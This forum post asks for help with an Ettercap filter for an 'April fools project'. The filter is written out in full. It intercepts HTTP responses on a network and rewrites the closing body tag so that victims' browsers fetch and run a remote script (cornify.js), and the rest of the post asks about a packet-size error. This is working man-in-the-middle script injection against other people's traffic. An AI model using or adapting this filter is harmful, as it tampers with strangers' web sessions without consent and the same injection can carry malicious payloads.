Jump to content

Ettercap filters


Woodstriker
 Share

Recommended Posts

Hey all,

I'm still working on the April fools project and I'm coming across some problems. I haven't used ettercap much so go easy on me. Here is the filter I create:

if (ip.proto == TCP && tcp.src == 80) {
  if (search(DATA.data, "\</body")) {
    replace("\</body", "\<script src="http://cornify.com/js/cornify.js"\>\</script\>\<script\>setInterval("cornify_add()", 2000)\</script\>\</body");
    msg("Script injected.\n");
  }
}

I'm not sure if they are needed but I put backslashes in front of all <'s because the filter didn't seem to work without them.

Anyway, this works fine on some pages, but if there are any advertisements, it gives me "SEND L3 ERROR: 1514 byte packet (0800:06)". I know advertisements are wrapped in body tags as well, but I'm not sure what the error means. Is the packet too large after adding all that text to it? I'm sure there's a better way of adding the script but I'm still a noob at this stuff. Any ideas would be appreciated!

-Wood

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...